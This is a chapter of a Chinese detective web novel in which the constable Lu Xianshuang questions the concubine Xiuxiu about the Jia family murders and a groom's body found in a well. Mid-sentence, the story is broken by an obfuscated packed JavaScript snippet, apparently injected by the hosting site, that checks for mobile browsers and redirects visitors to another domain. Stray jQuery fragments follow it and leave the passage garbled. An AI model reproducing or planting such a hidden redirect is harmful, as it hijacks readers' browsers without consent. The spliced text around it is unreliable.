15. 第 15 章

作品:《妙手神捕

    叶老爷毒杀贾母,谢蓁杀害贾连城,原因呢?逻辑链不完整,总不能父女俩单方面喜欢虐杀别人吧。


    如果是为父报仇,那么又是谁杀了她的父?贾连城作为一个寡母带大的儿子,在确切的知道岳父杀了寡母之后,他又做了什么。


    话又说回来,叶老爷子因为一个赘婿带着寡母上门客居就痛下杀手,既然如此,当初他为什么要同意对方上门呢,反正是入赘,直接让贾母在外居住不就得了吗。


    显然无论哪一条都有许多说不通的道理,但是鉴于双方当事人已经全部离世,他们自然不能完全将事情全貌恢复。


    秀秀姨娘来之前显然没有把事情完全捋顺,或者说她在刻意隐瞒了一些什么,导致话有些颠三倒四,陆衔霜倒是更倾向于她在刻意隐瞒,这种刻意隐瞒不是一直藏着掖着,而是适当露出一些破绽,在接下来的询问当中“被迫”坦白,以提高事情的真实性。


    下九流嘛,惯用的招式,她以前刚入江湖的时候,也是这幅臭德行,当然啦,倒是没有秀秀姨娘这么扶风弱柳。


    这就更有意思了,按照秀秀姨娘的话,她一个好人家的姑娘,为什么行事作风和下九流没有任何区别呢,那种骨子里腌入味儿的膨胀野心,势力精明的味道,陆衔霜走江湖十几年,绝对不会认错。


    “妾,妾不知道。”秀秀姨娘低头绞着帕子,肩膀一颤一颤,就差把手足无措四个大字贴在脑门上了。


    陆衔霜当即冷笑:“你知道,你知道是贾连城杀了叶老爷子,所有你以为谢蓁要为叶老爷子报仇。”


    她话还没说完,秀秀姨娘就猛地抬起头,眼底一副很震惊的样子,好像在说你怎么知道,察觉到自己动作太大暴露了,又赶紧把头低下,帕子遮脸带着哭腔,不断摇头说自己什么都不知道,只是可怜老爷走的早,留下他们孤儿寡母,如今都不知道该怎么办了。


    “孤儿寡母?上次我看谢蓁对你们母子俩挺好的呀。”


    陆衔霜对于谢蓁的称呼让秀秀姨娘心脏猛地一沉,不对贾夫人,也不是叶蓁,而是随她那早死的娘,曾经谢宅真正的主人,谢老夫人的姓,叫她谢蓁。


    一瞬间秀秀姨娘想了很多,快速在脑海中重复那天陆衔霜和陈明上门时候的所有细节,最后终于提着半口气得出结论,她们二人之前并不认识。


    “谢蓁?”秀秀姨娘满脸困惑。


    “你不知道吗,叶老爷子和贾连城一样也是入赘的,谢蓁才是谢宅原本的主人,如今也算是完璧归赵,一切都回到正轨。”陆衔霜也瞪大双眼,好像在说这么重要的事情贾连城竟然没有告诉过你。


    秀秀姨娘咬了咬牙,这个小捕快的脑子究竟怎么长得,你管它原来是谁的宅子,现在大家都叫贾宅,那就是贾宅,你多什么嘴。


    可惜她再不乐意,陆衔霜年龄再小,身份在这儿摆着,也得好声好气维持和睦,哪怕是表面上的。


    “不知道,老爷当初带妾回去的时候,宅子上面的牌匾就已经是贾宅了。”


    那不是废话,贾连城如果没有展开吃绝户第一步,他也不敢以入赘之身带小妾回家不是。


    陆衔霜心底切了一声,面上不动声色:“好了,我们不说这个,本来就是谢蓁的东西,还是说一说贾连城的死因吧。”


    一句话又把秀秀姨娘噎的够呛,拳头藏在桌子下仅仅攥着,这个陆衔霜脑子是不是有毛病,什么叫本来就是谢蓁的东西,如果没有老爷的渠道,有缘布庄早就关门大吉了,凭什么都是她谢蓁的!


    “对,老爷的事情,妾知道夫人一直以来对老爷不满,可到底一夜夫妻百夜恩,她,她怎么能痛下杀手呢!”秀秀姨娘说哭就哭,眼泪比泉水涌出来的速度还要快,陆衔霜喝酒的功夫,她手上的帕子已经被浸湿了,眼眶染上一圈粉红色,时不时抽气声传来,却连一点鼻涕都没有,陆衔霜不由得叹一句好功夫。


    “贾连城是怎么杀死叶老爷子的?”


    “老爷……大人!”秀秀姨娘嘴巴微张,反应过来之后急忙抬手用帕子遮住,想说什么又顾忌着,眼神四处乱窜,在发现周围没人之后才轻轻拍着胸脯吐出一口气。


    “大人,您在说什么,妾有些听不懂。”


    “秀秀姨娘,现在最关键的难道不是你们老爷的死因吗?我知道说这些是在往你伤口上撒盐,但是你认真想一想,如果贾连城还活着,你说出来他讨不了好。但是他现在死了,一切都尘归尘土归土,死人是没有办法被审判的。现在眼下最重要的事情是贾连城的死因,我们需要证据,需要杀人动机,你隐瞒的恰恰是最关键的杀人动机。”


    陆衔霜暗自感叹一番自己也是有表演天赋的人,回头去梨园转一圈,说不定被哪家班主看上,还能扮上唱一回戏呢。


    “这,我不知道事情这么严重,老爷,我差点害了老爷啊,多谢大人!”秀秀姨娘说着就要下跪,陆衔霜实在不耐烦和她演戏,一只手如同钳子一般攥着她的胳膊让她不能动弹,看眼着眼眶一红又要哭,赶在她表演之前率先开口:“想通了就好,你早点说清楚,咱们能找到杀害你们老爷的凶手。”


    找个屁,我们知道是谁,我倒要看看你准备怎么往谢蓁头上泼脏水。


    “妾不知道老爷是怎么杀死的叶老爷子的,但是在妾怀孕那天夜晚,老爷在屋里的牌位上祭拜老夫人,说贾家有后又给她报了仇,让老夫人安息。”秀秀姨娘怯生生说着话,眼珠子不断乱动,一副在回忆过往的样子。


    “他没和你说过具体怎么报仇的吗?”


    “大人您说笑了,这种要紧的事情,就算老爷说,妾也不敢听呐。”秀秀强笑,垂下眼有些不自在。


    “你是怎么怀疑到谢蓁头上的,我的意思是说距离叶老爷子过世已经六年之久,这六年里难道谢蓁近期才找到机会吗?”


    “是老爷,是老爷去世前一段时间,来到妾屋里以后动不动就发呆,有时候半夜会做噩梦惊醒,说一些来了,报应之后的梦话,看向正院的眼神十分可怖。”秀秀像是想起什么令人害怕的事情,缩着肩膀往角落靠墙的地方挪了挪,在看到墙角漆黑脏污的时候僵硬停下。


    那不是废话么,陆衔霜心底的小人痛快地拍了一个巴掌,贾连城与虎谋皮就要做好以身饲虎的打算,最近谢清晏他们保皇党一脉和四王一脉已经剑拔弩张到当面杀人的地步,贾连城一个走狗在这个关头被放弃简直再正常不过。


    陆衔霜自然是知道杀死贾连城的凶手究竟是谁,她听从谢大人的吩咐走一遭,做出查案的模样,也是为了迷惑那位知州


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898818|176002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大人,向他们表示目前还不知道是他们的人痛下杀手。


    她以为随意走个过场就完事儿了,谁知道半路竟然窜出来一个秀秀姨娘,她真的是为了贾连城报仇吗,还是有别的想法。


    想到这儿,陆衔霜唾弃一把自己的看好戏的行为,猝不及防之下问了一句:“那个从你院子井里拖出来的马夫尸体当初是什么情况?”


    陆衔霜的话音刚落,空气仿佛瞬间凝固。


    秀秀的手指已经触碰到茶杯边缘好一阵,她都没有发觉,只青白着一张脸愣愣看着陆衔霜,眼底情绪十分汹涌,胸膛一颤一颤,偶尔能够透过发丝看到腮帮子发颤,猜测她是否咬定后槽牙的缘故。


    陆衔霜对天发誓,她从前就是个贼祖宗,真没有当捕快的天分,问这句话纯属是为了看秀秀姨娘的好戏,出一口她拿自己当刀子使的气,绝对没有任何对于案件的神来之笔,绝对是非常真实的意外之喜。


    说来惭愧,她觉得自己需要检讨一下,在提前得知凶手的前提下,走这一遭她就当放风了,本来就是听个热闹。


    谁成想先是出来一个疑似有仇的老丈人和岳母,接着又连马夫的身份都很不对劲的样子。


    眼瞅着秀秀姨娘这一副魂飞天外的模样,和她说那马夫是个登徒子才是糊弄人呢。


    陆衔霜窃喜,这一刻她终于从贼祖宗的身份缓慢地朝着捕快这一头颤颤巍巍探出一只脚来,嘿,还真别说,这种智珠在握的感觉,怎么还有点美滋滋呢。


    陆捕快决定暂时抛弃一下盗圣的身份,把脚从条凳上放下来,空了的酒坛子拎到桌子下面,喝了口茶涮了涮嘴里的酒味儿,被也挺拔了起来,“那个马夫姓甚名谁,为什么会出现在你的院子里,你们之前认识吗?”其实她更想问,贾连城死亡的第二天出现在她屋里的男人是谁,可惜没有证据,问出口容易被倒打一耙。


    秀秀抖了下身子,猛地回神,眉眼间很快和脸上的情绪达成一致,只剩下恐惧,颤抖着声音小声道:“我不认识那个人,我也不知道他是怎么出现在院子里的,老爷说他是登徒子,想要非礼我,却不小心跌进井里。”


    陆衔霜挑眉,“哦?死了一个人也没有报官,你就不觉得奇怪吗?”


    茶棚里陷入一片寂静,除了不远处老丈的炉子上烧着水滋滋作响外,只怕唯有秀秀的心跳声堪堪相较一二。


    “老爷说传出去对我名声不好,万一被夫人发卖就不好了。”秀秀用力吞咽口水,两只手抱在胸前,好像又回到那令人绝望的一天。


    虽然嘴还是很硬,但神态却暴露出不少的信息,尤其是在她都没发现的时候,在有关马夫的话题上,秀秀姨娘抛弃了“妾”这个称呼,自称“我”。


    她认识那个马夫!


    陆衔霜不知道要不要戳破这个信息,想了想自己经验不足,还是回去找能管事儿的人,只能假装没发现,暂时略过这个话题:“那你知道贾连城是怎么处理马夫尸体的吗?”


    “暴毙,他给,马夫办了葬礼,理由是暴毙,还专门买了棺材,棺材拉出城,至于之后去了哪里,我就不知道了。”


    秀秀一句话中断好几次,捂着心口的手白的透光,偶尔停顿的空挡缓慢又大口地喘气,好像胸口有一把剪刀在来回翻搅。